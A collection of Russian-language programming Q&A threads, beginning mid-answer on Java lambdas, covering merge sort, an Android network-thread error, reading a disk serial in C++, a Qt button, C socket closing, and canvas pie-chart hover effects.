Java для каждой лямбды и ссылки на метод в момент выполнения создаёт прокси-класс, реализующий функциональный интерфейс. Метод distinctByKey объявлен как принимающий функциональный интерфейс Function, поэтому при его вызове виртуальная машина создаст прокси-класс class Example$$Lambda$1 implements Function { public String apply(Person person) { return person.getName(); } } и передаст его вместо ссылки на метод Person::getName. Если убрать весь сахар, может стать понятнее, почему множество seen создаётся один раз. Ваш код в рантайме преобразовывается в приблизительно эквивалентный этому: class Example$$Lambda$2 implements Predicate { private final java.util.Set arg$1; public boolean test(String name) { return arg$1.add(name); } } private static Example$$Lambda$2 distinctByKey(Example$$Lambda$1 keyExtractor) { Set seen = new HashSet<>(); // Здесь seen "магическим" образом присваивается // полю arg$1 возвращаемого объекта return new Example$$Lambda$2(); } Example$$Lambda$1 keyExtractor = new Example$$Lambda$1(); Example$$Lambda$2 predicate = distinctByKey(keyExtractor); Iterator stream = persons.iterator(); List result = new ArrayList<>(); while (stream.hasNext()) { Person person = stream.next(); String key = keyExtractor.apply(person); boolean duplicate = predicate.test(key); if (!duplicate) { result.add(key); } } И кстати, операция filter оставляет в потоке элементы соответствующие предикату, а метод множества add возвращает true для тех элементов, которых в множестве не было. То есть вы наоборот убираете дубликаты из потока. Вам надо инвертировать предикат: persons.stream() .filter(distinctByKey(Person::getName).negate());

Алгоритмы слияния двух неупорядоченных массивов

#алгоритм #сортировка


Недавно начал знакомство с сортировкой слиянием и понял, что я понятия не имею как
происходит слияние неупорядоченных массивов, и какие алгоритмы существуют для этой
цели. Как реализовать сортировку слиянием рекурсивно я прекрасно понимаю, а вот именно
подробное описание алгоритма(ов) слияния подмассивов, я так и не нашел.

Можете подробно рассказать про алгоритм(мы) слияния массивов, либо дать короткое
четкое и понятное объяснение на эту тему, или дать ссылку на источники, где это все
подробно объясняется?
    


Ответы

Ответ 1



Во-первых, в алгоритме сортировки слиянием действительно в качестве под-алгоритма используется алгоритм слияния двух последовательностей (массивов, списков и т.п.). Однако слияние выполняется именно для упорядоченных последовательностей. В этом вся суть алгоритма сортировки слиянием. Поэтому не ясно, почему в своем вопросе вы говорите о "слиянии неупорядоченных массивов". Откуда взялись неупорядоченные массивы? И какое это имеет отношение к сортировке слиянием? Во-вторых, алгоритм слияния двух упорядоченных последовательностей тривиален: просто на каждом шаге алгоритма выбираем минимальный из начальных элементов наших входных последовательностей и перемещаем его на выход. Повторяем, пока не исчерпаем входные последовательности. Все. В-третьих, если речь идет именно о массивах, то вышеупомянутый тривиальный алгоритм слияния легко применим только в том случае, если мы имеем возможность на основе двух входных массивов формировать третий (отдельный) слитый массив. Так обычно и реализуется сортировка массивов слиянием - она требует дополнительной памяти для формирования слитых результатов. Однако существуют эффективные алгоритмы, которые умеют сливать соседствующие в памяти массивы прямо на месте ("in-place"), без привлечения третьего массива. Эти алгоритмы, однако, далеко не тривиальны и, как правило, не используются в практических реализациях сортировки слиянием.

android.os.NetworkOnMainThreadException при использовании потока

#java #android #сеть


Есть обработчик нажатия кнопки. При нажатии должен выполнится сетевой запрос. 
Написал по уроку простой метод для отправки http-запросов. Получил эту ошибку
android.os.NetworkOnMainThreadException Почитал, что это связано с тем, что запрос
выполняется в UI потоке. Ладно. Создал отдельный поток. 

public void reportSend(View v)
{
         th =   new Thread(new Runnable() {
                @Override
                public void run() {
                    Log.i("TAG","MSG");

                    HttpURLConnection connection = null;
                    StringBuilder sb = new StringBuilder();
                    try {

                        connection = (HttpURLConnection) new URL ("http://spaces.ru").openConnection();

                        connection.connect();


                        if(connection.HTTP_OK == connection.getResponseCode())
                        {
                            BufferedReader input = new BufferedReader(new InputStreamReader(
connection.getInputStream(), "cp1251"));


                            String line;
                            while ((line = input.readLine()) != null)
                            {
                                sb.append(line);
                                sb.append("\n");
                            }

                        }

                    }
                    catch (Exception cause) {
                        cause.printStackTrace();
                        //  Toast.makeText(MainActivity.this, cause.getMessage().toString(),
Toast.LENGTH_LONG).show();
                    }
                    finally {
                        if(connection != null)
                            connection.disconnect();
                    }


                    Log.i("NET",  sb.toString());
                }
            });

            th.run();
}


Ошибка тем не менее сохранилась прежняя. 
Как выйти из положения?
    


Ответы

Ответ 1



Метод Thread.run() выполнит код синхронно, в том же потоке, замените на start()

Как использовать system(wmic) в DLL?

#cpp #winapi


Пишу первую DLL (учусь), и вопрос, как использовать эту функцию?

system("wmic path win32_physicalmedia get SerialNumber");


мне нужно вывести в консоль ид жёсткого диска
    


Ответы

Ответ 1



#include // здесь хранятся объявления функций WinApi #include // std::cout int main() { char lpDriveLabel[30]{}; // сюда запишем метку диска char lpDriveFs[30]{}; // сюда запишем файловую систему (FAT32, NTFS...) DWORD nDriveSerialNum = 0; // серийный номер диска DWORD nDriveLabelSize = sizeof(lpDriveLabel); // размер буфера GetVolumeInformationA( // WinApi функция, дающая ин-цию о диске "c:/", // путь к необходимому диску lpDriveLabel, // буфер для хранения метки диска sizeof(lpDriveLabel), // размер буфера для метки &nDriveSerialNum, // адрес переменной, куда записать ин-цию о серийном ном. &nDriveLabelSize, // адрес переменной, где хранится размер буфера NULL, // какие-то флаги (нам неважно) lpDriveFs, // буфер для хранения названия файловой системы диска sizeof(lpDriveFs) // размер буфера для файловой системы ); std::cout << "Серийный номер диска C: " << nDriveSerialNum << "\n"; // вывод в консоль }; После этого будете выводить на экран значение переменной nDriveSerialNum - это и есть серийный номер диска.

Кнопка класса QPushButton

#cpp #qt


Создал класс кнопки, соответственно унаследовал от 

QPushButton


но кнопка какая то странная, видно на скриншоте:



Сам код:

EnterButton::EnterButton(QPushButton *parrent) : QPushButton(parrent)
{
    QPushButton*            enter = new QPushButton("");
    QPixmap                 pixButton(":/img/Images/button.png");
    QVBoxLayout*            qvbxLayout = new QVBoxLayout;
    enter->setIcon(pixButton);
    enter->setIconSize(pixButton.size());

    qvbxLayout->addStretch(4);
    qvbxLayout->addWidget(enter);
    qvbxLayout->addStretch(4);

    setLayout(qvbxLayout);
}


Планировалось что в место стандартной кнопки будет изображение.
    


Ответы

Ответ 1



Получилось разобраться с данной задачей так: EnterButton::EnterButton(QPushButton *parent) : QPushButton(parent) { QPixmap pixButton(":/img/Images/button.png"); setIcon(pixButton); setIconSize(pixButton.size()); }

C Socket: Долго сбрасывается соединение

#c #сокет


есть такой код:

int read_s, str_size;
char recive_msg[TEXTSIZE_BUFER];
struct sockaddr_in server, client;

str_size = sizeof(struct sockaddr_in);
server.sin_port = htons(100);
server.sin_addr.s_addr = INADDR_ANY;
server.sin_family = AF_INET;

for (;;) {
    int socket_r = socket(AF_INET, SOCK_STREAM, 0), clnt_r;

    setsockopt(socket_r, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
    setsockopt(socket_r, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
    printf("22\n");

    memset(server.sin_zero, '\0', sizeof(server.sin_zero)); 
    if (bind(socket_r, (struct sockaddr *)&server, sizeof(server)) < 0)
        goto close_socket;

    printf("aa\n");

    listen(socket_r, 10);
    if ((clnt_r = accept(socket_r, (struct sockaddr *)&client, &str_size)) <= 0)
        goto close_socket;

    read_s = recv(clnt_r, recive_msg, TEXTSIZE_BUFER, 0);
    printf("close\n>%s\n", recive_msg);

close_socket:
    setsockopt(socket_r, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));
    setsockopt(clnt_r, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));
    close(clnt_r);
    close(socket_r);
}


Проблема: Когда софт выполняет SO_REUSEADDR и close(), возвращается в начале и потом
секунд 20-30 циклится на printf("22\n");, только после этого идет дальше. Вопрос такой:
в чем может быть причина?

Изначально у меня задумка была поделить клиент и сервер часть в 2 отдельных потока...и
когда освобождается порт выполняется тот или иной поток.
    


Ответы

Ответ 1



SO_REUSEADDR говорит, что этот сокет можно привязать к адресу, даже если он уже привязан. Делать его перед закрытием сокета - бессмысленно. Изменять эту опцию имеет смысл только, если сокет создан, но ещё не привязан.

Ответ 2



В месте закрытия сокета поменять на следующий код: close_socket: shutdown(clnt_r, SHUT_RDWR); close(clnt_r); shutdown(socket_r, SHUT_RDWR); close(socket_r); } по вкусу, если таймаут закрытия велик на ваш взгляд, можно добавить: close_socket: struct linger lng = { 0, 0 }; if (setsockopt(clnt_r, SOL_SOCKET, SO_LINGER,(void*)(&lng), sizeof(struct linger)) < 0) { perror("set: linger 1"); } shutdown(clnt_r, SHUT_RDWR); close(clnt_r); if (setsockopt(socket_r, SOL_SOCKET, SO_LINGER,(void*)(&lng), sizeof(struct linger)) < 0) { perror("set: linger 2"); } shutdown(socket_r, SHUT_RDWR); close(socket_r); } но лучше искать причину медленного закрытия.. Она легко может быть и на стороне клиента. И в общем, с лингером не все так просто, вы изменяете запланированное поведение системы, в области очереди отправки пакетов. Это не всегда есть правильное решение. Если опция SO_LINGER разрешена, то вызовы close(2) или shutdown(2) приведут к задержке процесса до отправки всех сообщений в очереди сокета или до истечения времени задержки. В противном случае выход из вызовов будет произведен немедленно и закрытие будет произведено в фоновом режиме. Если сокет закрывается как часть вызова exit(2), то задержка всегда происходит в фоновом режиме. Собственно мануал В вашем случае, разумно пересмотреть код, делать bind и listen в цикле непонятно зачем.. система явно против.. :) В цикле надо читать из сокета, и возможно отвечать, уверен что клиент ожидает общения :) Функция accept и read должна быть в цикле, и её удобно обернуть во что то более приемлемое, для выхода из неё в случае ошибки. Попробуйте перейти к более приспособленным оберткам, избегая использование goto, например: do { accept() .... if (error) break; read() ... // другой код if (noerror) break; } while (0); close_socket_code()...

Как изменить цвет, размер сектора круга при наведении на него?

#javascript #html5 #canvas


Есть статичная круговая диаграмма. 

Задача при наведении на сектор, 


вызвать callback функцию
поменять размер сектора
цвет
а еще если можно выполнить дополнительную обводку по периметру окружности  пример
на картинке


но последний пункт, если это слишком трудно, и костылем решить смогу (если получится
справиться с первыми двумя пунктами), наложив одну диаграмму на другую.

Html структуру менять можно, главное получить результат.





var canvas = document.getElementById("can");
var ctx = canvas.getContext("2d");
var lastend = 0;
var data = [200, 60, 15]; //мои сектора
var myTotal = 0; 
var myColor = ['red', 'green', 'blue']; //цвета

for (var e = 0; e < data.length; e++) {
  myTotal += data[e];
}

for (var i = 0; i < data.length; i++) {
  ctx.fillStyle = myColor[i];
  ctx.beginPath();
  ctx.moveTo(canvas.width / 2, canvas.height / 2);
  // параметры: x, y, радиус, начальный угол, конечный угол, antiClockwise (boolean)
  ctx.arc(canvas.width / 2, canvas.height / 2, canvas.height / 2, lastend, lastend
+ (Math.PI * 2 * (data[i] / myTotal)), false);
  ctx.lineTo(canvas.width / 2, canvas.height / 2);
  ctx.fill();
  lastend += Math.PI * 2 * (data[i] / myTotal);
}




    


Ответы

Ответ 1



Предлагаю такой способ, считаем дистанцию от мышки до центра круга. Если дистанция меньше радиуса - мы навели на какой-то сектор, а на какой конкретно определяем по углу направления в сторону курсора мышки относительно центра круга. let data = [200, 60, 15]; let colors = ['red', 'green', 'blue']; let radius = canvas.height / 2 - 10; let ctx = canvas.getContext("2d"); let total = data.reduce((a, b) => a + b); let radiuses = [radius, radius, radius]; let activeAngle, activeIndex; function callback(active) { stat.textContent = colors[active] || 'none'; canvas.style.cursor = active > -1 ? 'pointer' : 'default'; } function render() { requestAnimationFrame(render); let currentActiveIndex; ctx.clearRect(0, 0, canvas.width, canvas.height); var lastend = 0; for (var i = 0; i < data.length; i++) { ctx.fillStyle = colors[i]; ctx.beginPath(); ctx.moveTo(canvas.width / 2, canvas.height / 2); let endAngle = lastend + (Math.PI * 2 * (data[i] / total)); let isActive = activeAngle && activeAngle > lastend && activeAngle < endAngle; currentActiveIndex = isActive ? i : currentActiveIndex; radiuses[i] += isActive ? 1 : -1; radiuses[i] = Math.min(Math.max(radius, radiuses[i]), radius+10); ctx.arc(canvas.width / 2, canvas.height / 2, radiuses[i], lastend, endAngle); ctx.lineTo(canvas.width / 2, canvas.height / 2); ctx.fill(); lastend += Math.PI * 2 * (data[i] / total); } activeIndex != currentActiveIndex && callback(activeIndex = currentActiveIndex); } requestAnimationFrame(render) canvas.addEventListener('mousemove', e => { let dy = e.layerY - canvas.height / 2; let dx = e.layerX - canvas.width / 2; let d = Math.sqrt(dx*dx + dy*dy) < radius; let a = Math.atan2(dy, dx); activeAngle = d ? a < 0 ? a + 2*Math.PI : a : null; }) none

Ответ 2



Рекомендую использовать для таких целей Pixi или любую другую библиотеку для работы с canvas. Ибо canvas api не имеет поддержки событий наведения или впринципе хранить какие-либо структурированные данные об отрисованных объектах. Для добавления подобных функций нужно писать обертки, которые будут хранить контекст и кастомные характеристики, а судя по твоему коду - тебе не до этого. А вот в Pixi все уже есть, fabric.js тоже отлично подойдет для этой цели. PS на будущее имей в виду, что canvas рендерит только один кадр, если ты видишь взаимодействие с ним и какие-либо анимации (например анимация увеличения размера участка твоего графика), то они реализованы через нативные события и таймеры. на каждую 1/60 (60 кадров в сек.) canvas рендерится заново с новыми входными параметрами для абстрактных объектов.

Ответ 3



class Pipe { constructor(_parent) { this.canvas = Pipe.genCanvasElement(); this.ctx = this.canvas.getContext("2d"); this.curent = null; this.mousemove = Pipe.debounce(this, function (_e) { // console.dir(_e) let xM, yM; xM = _e.offsetX; yM = _e.offsetY; let x, y; x = this.canvas.width / 2; y = this.canvas.height / 2; let radians = Math.atan2(yM - y, xM - x); let degrees = radians * 180 / Math.PI; if ((360 + degrees) < 360) { degrees = 360 + degrees; radians = degrees * Math.PI / 180; } // console.log(`x:${xM} y:${yM} radians:${radians} degrees:${degrees}`) // -- this.curent = radians; // console.log('mousemove') this.render(); }, 500); this.mouseleave = Pipe.debounce(this, function (_e) { this.curent = null; // console.log('mouseleave') if (Pipe.t) clearTimeout(Pipe.t); this.render(); }, 500); this.canvas.addEventListener('mousemove', this.mousemove); this.canvas.addEventListener('mouseleave', this.mouseleave); _parent.appendChild(this.canvas); this.render(); } static debounce(self, f, ms) { return function (...args) { const onComplete = () => { f.apply(self, args); Pipe.t = null; }; if (Pipe.t) clearTimeout(Pipe.t); Pipe.t = setTimeout(onComplete, ms); }; } static genCanvasElement() { let c = document.createElement('canvas'); c.width = 200; c.height = 200; c.style.border = 'solid grey 1px'; return c; } static foo(ctx, fillStyle, x, y, r, startAngle, endAngle) { ctx.beginPath(); ctx.fillStyle = fillStyle; ctx.moveTo(x, y); ctx.arc(x, y, r, startAngle, endAngle, false); ctx.lineTo(x, y); ctx.fill(); ctx.closePath(); } static foo2(startAngle, curent, endAngle, fillStyle, x, y, r, j, ctx) { // console.log(` // startAngle:${startAngle} // endAngle:${endAngle} // this.curent:${this.curent} // `) if ((startAngle < curent) && (curent < endAngle)) { fillStyle = 'aqua'; Pipe.foo(ctx, fillStyle, x, y, r + j, startAngle, endAngle); } else { Pipe.foo(ctx, fillStyle, x, y, r, startAngle, endAngle); } } render() { let ctx = this.ctx; ctx.clearRect(0, 0, this.canvas.width, this.canvas.height); let lastend = 0; let data = [200, 60, 15]; //мои сектора let myColor = ['red', 'green', 'blue']; //цвета let j = this.canvas.width / 8; let x, y, r; x = this.canvas.width / 2; y = this.canvas.height / 2; r = y - j; for (var i = 0; i < data.length; i++) { let startAngle = lastend; let endAngle = lastend + (Math.PI * 2 * (data[i] / 360)); let fillStyle = myColor[i]; Pipe.foo2(startAngle, this.curent, endAngle, fillStyle, x, y, r, j, ctx); // -- lastend += Math.PI * 2 * (data[i] / 360); } if (lastend < Math.PI * 2) { let startAngle = lastend; let endAngle = Math.PI * 2; let fillStyle = 'black'; Pipe.foo2(startAngle, this.curent, endAngle, fillStyle, x, y, r, j, ctx); } } } Pipe.t = null; // --- let pipe = new Pipe(document.body);